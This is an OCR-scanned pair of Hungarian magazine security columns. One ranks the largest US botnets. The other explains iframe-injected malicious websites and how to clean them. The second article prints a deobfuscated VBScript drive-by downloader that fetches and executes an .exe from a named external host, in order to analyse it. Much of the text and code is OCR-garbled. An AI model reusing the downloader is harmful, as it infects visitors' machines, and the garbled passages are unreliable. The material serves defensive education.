letve DdoS-tamadasokban, ha-
nem a helyi adatok ellopésan ki-
viil a kdrtevé frissitését (update),
de akdr 6nmegsemmisitést is (a te-
lepitett kartevéét, de a Windows
rendszer tonkretételét is) vezé-
nyelhet a botnetgazda. Ez ut6b-
bit igen ritkdn szoktak alkalmaz-
ni, idnyerés, esetleg nyomeltiin-
tetés céljabol tehetik meg. Ha pél-
daul egy tavoli paranccsal kitorlik
a fert6zott zombigépek rendszer-
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A svajci Roman Hiissy weblapja képes a Zeus trojai miikodését szolgalo
szerverek nyomkovetésére. Sokan az aldozatok kéziil sajat gépiitkon nem
is vesznek észre semmit, pedig lehet, hogy ekdzben vallalkozasuk szervere
éppen botnetet iranyit

leiré adatbazisanak (Registry) 6sz-
szes HKEY_LOCAL_MACHINE és
HKEY CURRENT USER bejegyzé-
sét, ezzel dsszeomlasztjdk ugyan

a gépeket, de a tavvezérlést is el-
vesztik a gépek felett.

Begyiijtjiik az elso tizet
Jaliusban tették kozzé a Network-
World szakért6i a tiz legnagyobb
amerikai botnet adatait. Az ada-
tokat a Damballa nevii biztonsagi
cég észleléseire, illetve becslése-
ire alapozva jelentették meg. Le-
het, hogy idével a kartevék ha-

vi toplistajdhoz hasonléan ebbdl is
egy rendszeres, havi aktudlis lista
kerekedik majd? Meglatjuk, most
pedig kezdjiik is a sort!

Az els6 helyen a Zeus nevii
botnet dll, jelenleg 3,6 millié tagot
szamlal. E hélézat f6 profilja a bil-
lenty(zetletités-napl6zas, amely-
nek segftségével az érzékeny ada-
tokat, példaul felhaszndléi neve-
ket, jelszavakat, szamla- és hitel-
kartya-szamokat gydjt, ehhez ban-
ki belépd oldalakba helyez el ha-
mis HTML-drlapokat.

Masodik helyezett a Koobface,

a maga nem csekély, 2,9 millié
megfert6zott amerikai szamito-
gépével. A Koobface sokaknak is-
merGs lehet, mostandban tobb-
szor is széba keriilt a neve, hiszen
a kartevé kilonféle variansai a

MySpace-en, a Facebookon, tGjab-
ban pedig mar a Twitteren is ter-
jednek. A latszolag egy ismerdstdl
kapott tizenetben egy videofdjlt
ajanlanak fel megnézésre, ami ra-
kattintds utan egy allitélagos hi-
anyzé kodeket kisérel meg letél-
teni, valéjaban viszont magat a
Koobface kartevét telepiti a gépre.

A harmadik helyen a TidServ
szerepel masfélmillié zombi-
szamit6géppel. Féleg e-mailben
terjed, leftlelése nem egysze-
rd, mivel rejtézkodésre rootkit-
technikdkat is hasznal. Sokszor ér-
kezik egytt a kilonféle hamis
antivirus programokkal.

A NetWorkWorld listdjan negye-
dik a TrojanAVFakealert nev( ha-
[6zat, amely nevéhez hiven f6-
leg a hamis antivirus programok-
kal terjed. Ezek nem létezg riasz-
tasokkal prébaljak megijeszte-
ni a tapasztalatlan felhasznalékat,
és nemcsak megzsaroljak ket az
igért teljes értékdi fizetds valtozat-
tal, hanem ekozben megfertézik a
gépiiket és azonnal dt is veszik az
uralmat felette. A jelentés szerint
1,4 milli6 szamit6gép szerepel eb-
ben a hal6zatban.

Otodik helyen talaljuk a Trojan/
Downloader.Agent botnetet,
amelyben a Damballa szakértdi
1,2 millié szamit6gépet sejtenek.
Ez egy igazi pénzszerz6 kartevs,

£
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Ha egy viszonylag hosszabb idészakot, példaul két évet vizsgalunk, jol lat-
szik a botnetek szamanak erételjes emelkedése
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A halézati forgalom TCP/IP-csomagjait vizsgalva a Confickerre jellemzé

forgalom latszik a Wireshark ablakaban

az irdnyitdja titkosftott parancsok-
kal kommunikal, és féleg rekld-
mokra torténd kattintdsi mandve-
rekben hasznalatos visszaélésekre
hasznaljak.

Hatodik helyen taldlhaté az tgy-
nevezett Monkif, amellyel az ame-
rikai szamitogépek kozil 520 ezer
fert6z6dott meg. Ezzel a kartevé-
vel szoktak kéretlen reklamokat
megjelenits, Ggynevezett BHO-
programokat (Browser Helper
Object) feltdlteni az dldozatok gé-
pére.

A hetedik helyezett a 480 ezer
szamit6gépet bitorl6 Hamweq.

Az Autorun funkci6 segitségével
igyekszik masolatait minden elér-

hetd meghajtora eljuttatni. Kilon
Registry-bejegyzésekkel gondos-
kodik a kod automatikus lefutta-
tasardl, amikor az explorer.exe fo-
lyamat éppen elindul. A fert6zott
gépen a botmester tetszGleges pa-
rancsokat futtathat, és barmibe
bele tud nézni.

Nyolcadik utasunk a Swizzor, a
lista 370 ezer fert6zott gépet tu-
lajdonit neki. F6 célja kéretlen
reklamokat és kiilonféle tréjai
programokat telepiteni a szamité-
gépre. Az ESET havi magyarorsza-
gi statisztiki szerint a Swizzor itt-
hon is minden hénapban az elsé
tizben volt, februdrban pedig elsé
helyezettként szerepelt.

Egy botnet elterjedtségét demonstralo vilagtérkép. (A Prevx abraja a sajat
majusi adataik alapjan.) Jol latszik, hogy Kanada mintha ellenszert vett
volna be, mig Eurdpa vastagon érintett az USA-val egyiitt

Kilencedik, de még mindig je-
lentSs méretekkel rendelke-
zik a Gammina botnet, mellet-
te a 230 ezres szamot olvashat-
juk. Ez a kértevé az online jétékok
belépési jelszavaira specializalé-
dott, az ezekhez tartozd belépé-
si nevet, jelszot és szamlaadatokat
igyekszik megszerezni. Rootkit-
technikaval megprébal elrejtéz-
ni a megfert6zott gépen, akar kiil-
s6 USB-eszkozokkel is terjed, és
talan leghiresebb hizasa az volt,
amikor 2008 nyaran a Nemzetko-
zi Urallomas két szamitogépét is
megfertézte.

Végiil, de nem utolsésorban a
Conficker all a tizedik helyezett-
ként a maga 210 ezer amerikai

P FireEye BotMap Service
<_(b F]reEye Growth of Botnets and CnC Servers: 3 month aggregate count
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20:00:07 GMT)

y
- . Suomi
Finiana
leeland Sverige S
2 Poccus
k) : ‘” » = Fussia
4E Canada FolsKu & "
’
Kazakhstan i o
A 7
| Espall iy o >
rih P North L Jikey Ll
ace Atantic [ a3 Afavanisig,, China
y MaEta Lipya gy couith Pakistan Ly
= v e g =
== 3 Ml | | TR
= 3 133 sugan @ e
# Boinet Command g 5ol Higens Exingts . :
and Control (nC) Colis B i
servers = Lun Kenya - -
ongo {18 lndonesia Pagus xew
@ irfecied machines - Brasil 1 Ly~ Guinea
{aka. “bots") Brast Angala
Houvia
Fa B i Tiavsascar indian
South Chite South cean Australia
Pacific Fi > Atlantic - |
i i
£ Arcomoils - —= o — = ey
2aaisn
Week 0 Week 1 Week 2 Week 3 Week 4 Week 5 Week 6 Week 7 Week 8 Week 9 Week 10 Week 11 Week 12

Egy masik vilagtérkép egy masik cég elemzései alapjan. Itt szintén alig van potty Ausztraliaban, mikézben tudjuk,
hogy minden 6todik ottani gép egy botnet tagja. Emiatt kilon felvilagosité programot is hirdettek a gépek meg-

tisztitasara
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szamitégépével. A Conficker is is-
merds lehet a magyar havi listak-
rél, a janiusi és jdliusi top 10-et
még vezette is. Sokféle fert6zé-
si mechanizmussal dolgozik, eb-
bél csak egy a tavaly oktéberben
mar befoltozott biztonsagi résen
valé bekiszésa. Emellett a fert6zés
a gyenge adminjelszavak elleni ta-
madadssal, valamint az automati-
kus futtatdsi lehetGségén keresztiil
is terjed. Tobbek kozt a Waledac
kartevé terjesztésére is felhasznal-
tak a botnet iranyitéi.

Mit mondhat nekiink ez lista?
Taldn megfelelGen demonstral-
ja azokat a kertilendd veszélyeket,
amelyeken a legtobb képzetlen
vagy gyan(tlan felhasznalé fenna-
kad. ljeszt§ is lehet egy ilyen ha-
talmas eréforrasra tdmaszkodé so-
tét erd. Persze mutathat feladato-
kat a szakemberek szdmara is, sGt
kell is, hogy mutasson, mert ha-
tékony ellenlépések nélkil ez a
helyzet vagy megmarad, vagy még
rosszabbodni is fog.

Kicsi a bors, de vannak
baratai

A toplista vége felé elhelyezkedd
botneteket sokan hajlamosak ald-
becstilni azzal, hogy ,Ugyan ké-
rem, mi ez a pdr szazezer a milli6-
hoz képest?”

Az ESET kutatéi eljatszottak a
botnetes Waledac kértevével, és a
forgalom elemzésével méregették
a botnet spamkibocsatasi képes-
ségeit. A Latin-Amerikaban vég-
zett tesztelés szerint mar egyetlen
botfertézte szamitégép is masod-



A Facebook és MySpace kozosségi oldalakon terje-
d6 Koobface féreg a futtatasa soran vicces képet
jelenit meg, viszont a hatasai mar nem is olyan
viccesek. Csak az Egyesult Allamokban 2,9 millié

szamitogép tartozik e halozatba

percenként két spamlevelet, illet-
ve egy teljes nap alatt pedig mint-
egy 150 ezer kéretlen rekldmle-
velet képes kibocsétani. A szan-
dékosan megfertdzott laboratériu-
mi PC a Bélint-napi kdrtevével allt
be a botnetek sordba, majd en-
nek kapcsan nyilt alkalom a halé-
zati forgalom alaposabb vizsgala-
tdra is. A Waledac szamos tekin-
tetben feltilmalja a korabbi Storm
képességeit, és annak reinkarnaci-
6janak tartjak.

Sebastian Bortnik egy blog-
bejegyzésében a Waledac kar-
tevével tizemel botnet méretét
20 ezer gépre becstili, teljesitoké-
pességét pedig napi 3 milliard ki-
kiildhetd spamre teszi. Természe-
tesen ezek a becsléseken alapuld
botnetes elméleti teljesitmények
valojaban tényleg csak elméleti-
ek, hiszen a botnetet dltalaban so-
sem hasznéljak teljes tizemidében
és teljes kapacitassal, bar ennek

technikailag semmi
akadélya nem lenne.

Az elemzés emellett
azt is kimutatta, hogy
a Waledac valéban a
Storm utédjanak te-
kinthetd, és fejleszté-
sénél figyelembe vet-
ték az eléd javitandd
hibait is, példaul amig
a Storm csak 64 bi-
tes RSA-kodolasi al-
goritmust haszndlt, a
Waledac mar ebben
is el6relépett, és min-
den tekintetben fo-
lyamatosan tovabb-
fejlédott az év eleji Balint-naptdl
egészen a jalius 4-i Fuggetlenség
Napja tinnepekig.

Hegyek, vilgyek, tajak,
orszagok

Vajon mi lehet a pontos oka an-
nak, hogy vannak orszagok, ame-
lyek vastagon és hénapok dta
érintettek a botnetes probléma-
ban, és vannak, amelyek viszony-
lag sikeresebben ellendllnak?

Ha csak a Conficker férget néz-
zlik a havi toplistakban, gyanit-
hat6an sok orszagban van kiter-
jedt bothalozat. Az ESET havi sta-
tisztikai adatai szerint ilyen pél-
dédul az USA, Brazilia, Indonézia,
Irén, Uj—ZéIand, Pakisztdn, Roma-
nia, Oroszorszag, Szerbia, Ukrajna
és Zimbabwe.

Az USA-ban sok a pénz, sokan
hasznalnak hitelkartydkat, sok az
6vatlan felhaszndlé, és rengeteg
ember él ott, valészindleg ezért

Két noteszgép is megfert6z6dott 2008 augusztusaban a Nemzetkozi Ural-
lomason. A BBC akkori értesiilései szerint az asztronautak a laptopjaikon
semmilyen antivirus programot nem hasznaltak
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A felhasznalok helyzetét neheziti, hogy sok esetben a szamitégép forgal-
mazoja sporolasbol nem ad valodi telepitélemezt a megvasarolt géphez,
hanem a vasarlora bizza, hogy az elételepitett Windowsbol maga készitsen
lemezt. Am ez a lustasag és a hozza nem értés miatt sokszor elmarad, igy
rendszerdsszeomlas vagy zombifert6zés esetén nincs mihez nyulni

érdemes a nagy szamok torvénye
miatt is probalkozni a blin6z6k-
nek.

Ezzel szemben vannak azok az
orszagok, ahol pedig még az elsé
hiszban sem szerepel a Conficker
féreg egyetlen varidnsa sem. Az
ilyen szerencsésebb helyek kozt
talaljuk Bahreint, Daniat, Maltat,
Kanadét, Hollandiat, Norvégiat és
Svédorszagot. Utébbiak viszony-
lag a valosdgban is gazdag orsza-
gok. Mi lehet itt a magas biztonsa-
gi faktor oka? Alacsony lehet a lo-
pott Windows operaci6s rendszer
aranya, és talan mindenkinek van
legdlis antivirus program telepit-
ve a gépén, esetleg képzettebbek
a felhaszndléik és taldn mindenki
tudja, hogyan védekezzen?

Eljon-e John Connor?

Ha ilyen Gtemben fejl6dik a sza-
mitastechnika, mindenki otthon-
rél bankol majd, és a gazdagabb
orszagokban novekedik a szami-
togép vezérelte intelligens ottho-
nok szdma, akkor egyre jobban a
Terminator filmek Skynetjére fog
hasonlitani az a totdlis ellen6rzés,
amellyel a szamitogépes biino-
z6k gépek milli6it tarthatjak majd
kontroll alatt. A probléma orvos-
lasara azonban Gj médszereket
kell bevetni, mert a figyelmezteté-
sek, Gjsagcikkek 6Gnmagukban jol
lathatéan nem képesek a jelen-
ség felszdmolasara. Mig egy defek-
tes kereket a sof6rok azonnal ész-
lelnek, és kicserélik, addig a gé-
pén él6skédé zombit sokszor nem
is érzékeli a tulajdonosa, vagy ér-

dektelenséghdl nem javitja, és ez-
zel részabaditja a botnetet a tob-

biekre. Fs ez az, amit megenged-

hetetlen.

A helyzet felemas. Egyes vélemé-
nyek szerint az internetszolgal-
tatoknak kellene aktivabban segiteni
a botnetes fertGzéseknél, de ezt csak
a forgalom ellendrzésével, sziirésével
tehetnék. Kozben pedig, ha mond-
juk P2P-forgalomra sz(imek, akkor
meg utdljuk Gket, és azt gondoljuk,
nincs is joguk a forgalom figyelésére.

Mindenesetre, ha valakinek na-
gyon lelassult a gépe, és tudtan ki-
viil egy zombihadsereg katoné-
ja, a fenti adatokbdl megértheti,
hogy hova is t(inik az elhappolt se-
besség és teljesitmény. Az ameri-
kai korménynak a Sandia National
Laboratories kutat6i ekézben olyan
rendszert fejlesztenek, amellyel szi-
mulalhat6 lesz az internetes jelensé-
gek mlikodése. A MegaTuxnak ke-
resztelt projektben egy Dell szuper-
szamitogépet készitenek fel egymil-
li6 operaciés rendszer virtualizalt
futtatasara, és ez a botnetes karte-
vok vizsgdlataban vadonatdj és igen
hatékony szimulacids terep lehet.

* %k
Kérjik kedves olvasdinkat,
ha a témaban kérdésiik,
hozzészélasuk van, juttassak el
hozzank (velemeny@pcworld.
hu).

Csizmazia Istvan,

virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu
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Bejelentett tamado webhely és gyogymodjai

Sorozatunk huszonhatodik epizodjaban olyan weboldalakkal fogunk foglalkozni, amelyekben
van valami olyasmi, amit nem a készitok tettek bele. J6 kérdés lehet ezek utan: a ,.hogyan
kerilt bele?”, a .miért nem vettiik észre?”, és az ,.akkor most mit tegyiink?” Nagyjabol ebben

a sorrendben haladva mindent ki fogunk deriteni.

ikksorozatunk korabbi, ti-

zennegyedik epizédjdban

egyszer mar beszéltiink
webalapi kartevékrdl, és megem-
litetttik, hogy szinte barmilyen
weboldalt meg lehet fertézni. Am
ha valaki célzottan szeretne nagy
kért okozni, keresve sem talélhat-
na jobbat ismert, ldtogatott, nagy
forgalmd honlapoknal, ahol egyet-
len kartékony iframe-exploit
beagyazasaval méris kezd6dhet
a kartevok terjesztése. 2009 apri-
lisaban erre a sorsra jutott a felira-
tok.hu, amelyrél DVD-filmek ma-
gyar nyelv( feliratait lehet letélte-
ni. Féleg fiatalok latogatjék ezen
oldalt, akik koziil sokan még nem
annyira veszik komolyan a szami-
togépes biztonsagot. A bedgya-
zott iframe, Ggy tdnik, Gjabban
mar rendre kinai oldalakra mutat,
mondjanak a statisztikak barmit is.
Ha olyan Windows alatti géprél
nézegetjiik, amin az ESET Smart
Security 4.0 fut, szerencsére az
ilyen szokatlan bedgyazasra tizem-
szer(ien figyelmeztet. Ha példaul
Firefox webbongészét hasznélunk,
tobb mas forrasbél is kaphatunk
figyelmeztetést. Ha telepitjiik
a NetCraft Toolbar, a Finjan Secure
Browsing, a Web of Trust, Web
Security Guard vagy a McAfee Si-
teadvisor valamelyikét (vagy mind-
egyikét), akkor ezek is listazzak
a felhasznalok bejelentései alapjan
a weboldalakat, illetve rendsze-

resen frissitett adatbazisuk alap-
jan tudnak minket riasztani. Ma-
guk a felhasznalok a Google-nak is
jelenthetik a weboldal fert6zottsé-
gét, ekkor egy ,Bejelentett tdma-
dé webhely” tizenet is fogadhat
minket az adott oldalra keresve, il-
letve a Firefox alatt ide lépve.

A biinés weboldal esetiinkben
egy Kindban Best Raymond &l-
tal bejegyzett, de litvan szerve-
ren mikodtetett cim. Talan lassd-
ak voltunk — éjjel haromkor jott
a riasztds, és masnap reggel hétkor
mar rajta voltunk az Gigyon —, de
akkorra a letolthet6 kartevét mar
—sajnos, vagy hdl’ Istennek — elta-
volitottdk, igy nem sikertilt elfog-
nunk. Persze azért lathatd, min-
den az eredetileg beszurt litecar-
top.cn oldal tovabbiranyitasan
malik, ami id6rél id6re véltozéan
mashova kildhet, esetleg figyelhe-
ti és naplozhatja az IP-ket, és min-
dig méashova irdnyithat.

Szol a radio

Tavaly Gsszel egy hasonl6 iframe-es
tdmadas érte a Roxy radi6 honlap-
jat, ahol szintén kdrtevéterjesztés-
re hasznaltak fel egy bedgyazott
iframe-blokkot. A Hungarian Unix
Portalon (www.hup.hu) figyelmez-
tették erre a felhasznalokat, ahol
aztan egy az egyben be is linkel-
ték ezt a gyanis URL-t. Mar maga
az is egy érdekes kozjaték, hogy

a HUP drupalos topikjéba ekkori-
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Amig fel nem fedezik, vagy a weboldal nem keriil tiltélistara, a kartékony
kod minden latogato gépébe megprobal letoltédni. A fejlettebb helyeken
IP-cimfigyelés is van, és kétszer sosem toltédik le ugyanaz az allomany
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Kapcsolat megszakitva
A kiszolgdlohor vald kapcsoiat alaphehyzetbe At az oldal letiiése kozben.

A halézati kapcsolat megszakadt a kapcsolat felvétel kizhen, Probilia meg ira.

| Probiia dira |

Object
Theeat:

Information:

A NOD32 és az Eset Smart Security mar akkor is riaszt, ha egy teljesen k6zom-
bés weboldalra mutat egy ilyen gyanus iframe-hivatkozas. Itt a weboldal tar-
talmatol, vagyis a linktdl teljesen fliiggetlenil maga a rejtett iframe-hasznalat

Biztonsédgos bingészés

Dengncs i ool & kinvetioeihar nghopitewand cn A tankcsadis szoigatatsa (0 :q|.

Mi 2z} bigtoplitewod.cn webhely jelentegl fistizsi sllapota?
A wabhely spesepel 8 gyanis webhelysh listhjsn - magiekirtése sdhat szamidgipinek

A wabhaly egy része az eimdl 30 nag sorie | alkalommal o grasis mdveletel kstijim el

i tarthet sklor, amikor & Goagle felkerests a1 5 wehhelyer?
A dbatuni ar stmil 30 nap sochn testel 3 oldal kel 0 oldsl sedrenyess indony seoflver i e lebepbbs o fshas il
engeditye nélkil A Google leguisbb: Mtogaldas 2005-04-22, & webhalyer gyands tadalmat ekicor taliunk tofirn 2005-04-22

Muiscious sctware mchudes 16 brojanis), 12 scnphing sxploitfs)
This ste was hosted on 1 network{s} mcheding 2012250

Kacremikidot.e er a welhely drtalmas programak tovibbieresstésé ben?
A weabihwly (bigtopiwworid cnj a7 whnl 30 nap sorin vakdasinding meen mikidott koare egystier webhaly msgieddéssben ssm

Tiralt s a webhely kiriknny srofn?

igen Ez a webhaly kindkery 5208w 1408 52 smul 90 nag sordn, 12 domaiet TS0t meg, Moz @ kovatkazihe)t anespecde co,
Hagyan torénheten?
Egyos asutekbon haemadic il kisikony koot sdhatnax 8 " a4 wznw b
Wevethezl |épésoh:
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Természetesen a Google honlapjan is kaphatunk tajékoztatast, miért tor-
tént meg az adott honlap letiltasa, illetve a Bejelentett tamadoé webhely-
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Ha javascriptes kodot piszkalunk, j6 szolgalatot tehet a Document.Write()
fliiggvények kicserélése Alert()-re. Igy teszteléskor latjuk, mi térténne, mi-

lyen URL-re torténne a tényleges ugras

ban még siman be lehetett szdrni
egy ilyen aktiv kirtevére mutaté
iframe-es sort, mindenfajta szd-
rés vagy legaldbb formai talakitas
nélkil. A Roxy weboldala jobba-
ra kevésbé paranoias fiatalok ér-
deklédésére tarthat szamot, és mi-
vel még mindig sokan haszndlnak
Internet Explorert, vagy kétes ere-
detd Windowst — amit ugye nem
frissitenek —, ezért sokan aldozatul
eshettek. Tovabb tetézheti a bajt,
hogy a legtobben még mindig
nem haszndlnak biztonsagi prog-
ramokat sem.

Ha mar széba kertilt a kartékony
oldalak linkje, ezzel is lenne teen-
déje mind a férumok latogatdinak,
mind pedig az adminisztratorok-

nak. Az olvas6knak nem szabadna
613, aktiv kartevére mutato linke-
ket beszdrni egy nyilvanos férum-
ba, de az adminisztratoroknak is
gondoskodniuk kellene arrél, hogy
ha mar ilyesmi megtorténik, akkor
linkmentes, veszélytelen formaban
kertiljon sor ilyesmire. A mai napig
latni kiilonféle helyeken ilyen be-
jegyzéseket. Taldn ahhoz hasonléan
kellene szabalyozni ezt, mint Svéd-
orszagban a dohanyzast: , Intelli-
gens ember e hely(itt nem gydjt rd,
a tobbieknek pedig tilos!”

Megint jonek, kopogtatnak
Az ilyen beszirt iframe-tagek saj-
nos barhol megjelenhetnek, le-
gyen az egy varos weblapja, vagy
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A feliratok.hu weboldal sem keriilte el sorsat. A weboldal kddjaba ismeret-
lenek kinai weboldalra mutaté lathatatlan iframe-hivatkozast helyeztek

miatt torténik a felismerés

egy orszaggylési politikus webol-
dala — mindkett6 el6fordult mar.
Most egy olyan iframe-kédot mu-
tatunk be, amelyet j6l lathatéan
nemcsak egyszertien odabiggyesz-
tettek, hanem gondoskodtak arrél
is, hogy ha esetleg észre is vesz-
szlik, egy atlag felhasznalénak hal-
vany segédfogalma se legyen, mit
csindlhat pontosan a beszdrt kod-
részlet. Sok szkriptes kartevg épit
a zagyva véltozénevekre, a kéd-
halmaz éttekintése és megértése
ilyenkor szinte lehetetlen. Efféle

esetekben csoddkat tehettink mar
azzal is, ha kozérthet, tomor és
logikus valtozonevekre cserél-
juk a zagyvasagokat. Emellett az
Unescape fliggvény hasznalatdval
a mdr dsszezavart (obfuscated)
kédot ki lehet (vagy néha csak
egy fokkal kijjebb) bontani.

A példaprogrambodl itt kikédol-
tuk egy C programocskaval a mar
olvashatd vdltozatot, és itt mar
azonnal latni lehetett a valddi fo-
lyamatokat. A kinai weboldalrdl
letolt6dé 1.exe nem sejtetett tdl
sok jot. Esettinkben ez

o Liztur = [e W Cypiauiiiey sl Uiy |
Fiil Soerkesctds Bellisck Wikodolhs Sigh
kntm1>
<script language="UBScript™>
aa="object”
bb="clsid:"
cc="BDYGC556-""
dd="a5a3-"
ee="1100-"
FF="983R-"
ji="DOCONFC29E36™
hh="HicrosoFt.”
fi="KHLHTTP"
gg="Scripting."
kk="FileSystendbject™

hell.”

My
Yuyli="Application™
0043 0663="0pen"

on error resume next

path ="Ci\\AUTBEKEC.EXE"
Set df = document.createElement{aa)

str=hh+ii

Set x = df.Createdbject(str,™)
at="Rdo"

az="db,"

ad="ser

ah="pamn'"

stri=alBa2iadtal

strS=stri

set 5 = df.createchject(strs,™)
S.type = 1

stré="GET"

x.0pen stré, dl, False

*.5Send

set F = df.createchject{ggekk," )
set tmp = F.GetSpecialFolder(2)
path= F.BuildPath(path)

S.open

S.write x.responseBody
S.savetofile path,2?

S.close

set [ = dF.createohject(Hy+Yuyd,")
0.5hellExecute path,”,"",00%30663,0
</seripty

</html>

dl ="http://c.thec.cn/yanhuo8050/love/Classid=1.exe"

dF .setAttribute “eclassid”, bbecceddeeesFFefj

aNOD32 riasztdsa
alapjan egy VBS/Tro-
janDownloader.Agent.
NAB tréjait jelentett,
amit az dllandé véde-
lem szerencsére sikere-
sen haritott. Annyi bi-
zonyos, hogy aki ilyen
zavaros kodot hasznal
a programjaban, an-
nak sotétek a szandé-
kai, amit persze gondo-
san el is rejt.

A mellékhatasok
tekintetében...

A roppant kellemetlen
ilyen esetben az, hogy
sosem tudni, hogy

a géptinkre feltelepult
kartevg, illetve kém-
program pontosan mi-
ket lopott el. Minden
weboldal-hozzaféré-
stink kodjat? Banki jel-

ime a kod kinyitva, igy mar azonnal ,emberfor-

szavainkat? Belépést
a levelezésiinkh6z?

maja” a dolog. A kod 6sszezavarasanak pontosan

ez a célja, elrejteni a valodi tevékenységet, és
a linkeket. Szemlatomast minden Gt Kinaba vezet

A legjobb, amit tehe-
tink a tisztitds folya-

ként valé mingsités

matéban, hogy a mar tiszta gé-
pen minden jelszavunkat meg-
valtoztatjuk. Lehet, hogy ez
tdlzott 6vatossag, de az is elkép-
zelhetd, hogy korabbi accountja-
ink mar egy feketepiaci arverési
oldalon szerepelnek.

Apu, hogy megy be?

A legtbb esetben nem kézvetlendl
a weboldalt torik fel, hanem el6z3-
leg egy, a weboldalt médositani ké-
pes munkatdrs gépe fert6z6dik meg
egy kémprogrammal, majd ha a fer-
t6z6tt géprdl FTP-kapcsolaton ke-
resztll belépnek szerverre, akkor
az ott taldlhat6 index, main, defa-
ult nevd PHP, HTML tipust alloma-
nyokba véletlenszerten beirédik ez
az iframe-blokk. Sajnos a sokak al-
tal kedvelt Total Commander a ko-
rabbi verzidiban kédolatlanul (illet-
ve csak gyengén kédolva) térolta az
FTP-jelszavakat, igy ezeket kénnyen
is el lehetett lopni. Csak a 7.5-6s To-
tal Commanderben oldottdk meg
azt, hogy az FTP-kapcsolatok jelsza-
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vait megfelel6en kédolva téroljak,
érdemes tehat egyrészt a 7.5 (egye-
|6re beta) valtozatra frissiteni, vala-
mint a haszndlt FTP-jelszavakat gya-
nis esetekben azonnal lecserélni.

Elharitas

Ha egy fert6zott weboldalba
,botlunk”, érdemes egy e-mail-
ben tajékoztatni a webhely ké-
szit6jét, fenntartéjat, hogy tud-
jon a tamadasrdl. Lehet, hogy
mi mér a tizedikek lesziink, de
az is elképzelhetd, hogy min-
denki azt gondolja, a masik mar
szolt, és igy aztan senki nem je-
lez. A weboldalak tulajdonosa-
inak az esetek tébbségében fo-
galmuk sincs arrél, hogy tortént
veliik valami incidens. Ha pe-
dig a sajat weboldalunk az ,al-
dozat”, akkor a blog.webpozi-
tiv.hu/bejelentett-tamado-web-
hely-mit-tegyek/ oldal szépen
pontokba szedve mindent el-
mond az ilyen esetekben teen-
dékrél. Akinek tehat a webol-
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A JavaScript valoban sok mindenre jo, szerepel a MetaSploit készletben is

a valaszthato nyelvek k6zott
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Ebbdl kodoltuk ki késbb egy C programocskaval a fentieket. Itt még sem-
mit sem lehet sejteni a valodi folyamatokbol. Annyi azért vilagosan latszik,
hogy aki ilyen zavaros kodot hasznal, annak s6tétek a szandékai, és van

rejtegetni valéja

dala megfert6zdik, annak ér-
demes itt kezdenie egy alapos
olvasassal a felkészulést a hely-
redllitasi proceddrara. A folya-
mat egyrészt a kod kigyomlalasa-
bél, a weboldal FTP-jelszavanak
haladéktalan megvaltoztatasabdl,
a webhely kédjdhoz kozvetlendl
hozzaférg kliensgépek virus- és
kémprogramok elleni atvizsgala-
sabol all. Ha bérelt tarhelyen tor-
tént a baleset, akkor értesitstik

a tarhely tizemeltetgjét, ha pedig
sajat szerverrdl van sz6, akkor

a napléfdjlok vizsgalata, szoftver-
frissités, és a mar korabban emli-
tett kartevévizsgalat var rank. Ek-
kor, és csak ekkor kovetkezhet
legvégiil a Google rendszerében
az immdr tiszta webhely-statusz
visszaallitasanak kérelmezése.

Az oldal megtisztitasanak beje-
lentése a Google Webmesteresz-
kozok szolgaltatasndl végezhe-
t6 el, ehhez regisztralnunk kell
erre a szolgaltatasra. It kérhetjik

a webhely Gjrafelvételét a www.
google.com/webmasters/tools/
reconsideration cimen.

Ez utébbinal dltalaban 1-7 na-
pos atfutasi idével szamoljunk,
vagyis nem biztos, hogy rogton
az [Enter] lelitése utan el lesz ta-
volitva a Bejelentett Tamado
Webhely matrica.

Es végiil ezt ugyan egy lefras sem
emlitette, de nem butasag a teljes
webszerver dtnézése, hogy a sajat
fajljainkban nem torténtek-e to-
vabbi médositasok, illetve ezeken
feltil a hozzéaférés birtokdban nem
taroltak-e rajta valamilyen idegen,
illegdlis anyagot is.

Tanulsagok, ha vannak -
marpedig vannak!

Tanulsag taldn annyi lehet, hogy
egyrészt az ,Ovatossag nem bizal-
matlansag”, valamint az ,én, ké-
rem, csak megbizhat6 webhelye-
ket ldtogatok, ezért nem is eshet
semmi bajom” szlogeneket Gjfent

Objektum:
Ceicar\ad\unel.une
Kirtevé:

VBS/TrojanDownloader.Agent.NAB tréjai

1 Informaciok:

F8 Torlés

| torléssel megtisztitva - karanténba helyezve

Alt+F4 Kilépés

ZHL | aPeMO= 80 IO 1525

Akar mi kddoljuk vissza manualisan a valodi szkripttartalmat, akar futtatjuk
azt eredeti formajaban, a NOD32 masodszor is riaszt, ekkor mar a konkrét
linken talalhato trojai kartevé akad fent a halojaban

KAPCSOLODO WEBOLDALAK

Az ESET magyar nyelv( viruslexikona: www.eset.hu/virus

Text Unescape Utility: www.linkedresources.com/tools/unescaper_v0.2b1
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 Brjelentett timds vty

~Bejelentett tamado webhely” - ezt a cimkét kapja az a weboldal, amelynek
tulajdonosa nem veszi észre idejében, hogy weboldala mar nem csak az 6veé.
Valdjaban ez egy roppant hasznos modszer, amelynél a latogatoé kézosség
észrevétele, bejelentése hivja fel a tulajdonos figyelmét a problémara

eredményesen céfoltuk. Tovabbi
hasznos szokésok lehetnek a min-
den bongészés utani cache-irités,
a session cookie-k torlése (ame-
lyek ugye bizonyos koriilmények
kozt ellophaték). Mivel a kérte-
vék java része internetes bongé-
szés soran keriil a Windowsok-
ba, ezért erésen javasolt a napra-
kész virusvédelmi program, vagy
internetbiztonsagi csomag haszna-
lata, valamint néhany biztonsaggal
kapcsolatos plugin telepitése. Ezek
kozul a teljesség igénye nélkiil,

de taldn a legfontosabbakat meg-
emlitjik a Firefox bongész6hoz:
NoScript (722), NetCraft Toolbar
(1326), ShowlP (590), Adaptive
Referer Remover (1093), Cache
Status (1881), CookieSafe (2497),
Live HTTP headers (3829), JSView
(2076), Secure Login (4429), XSS

Guardian (4774) és XSS Warning
(5589). (A zaréjelek kozt taldlhat6
szdmokat az addons.mozilla.org/
hu/firefox/addon/xxx cim ,xxx"-e
helyére kell frni.) A NoScript bealli-
tasok kozt olyan finomsagokat is ta-
ldlhatunk, mint példaul az iframe-
elemek tiltdsa, ezért talan ezt

a beéplilét nevezhetjiik a legfon-
tosabbnak az itt felsoroltak koziil.

%%k

Kérjiik kedves olvaséinkat, ha
a témaban kérdésiik, hozzaszoé-
lasuk van, juttassék el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsad6
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
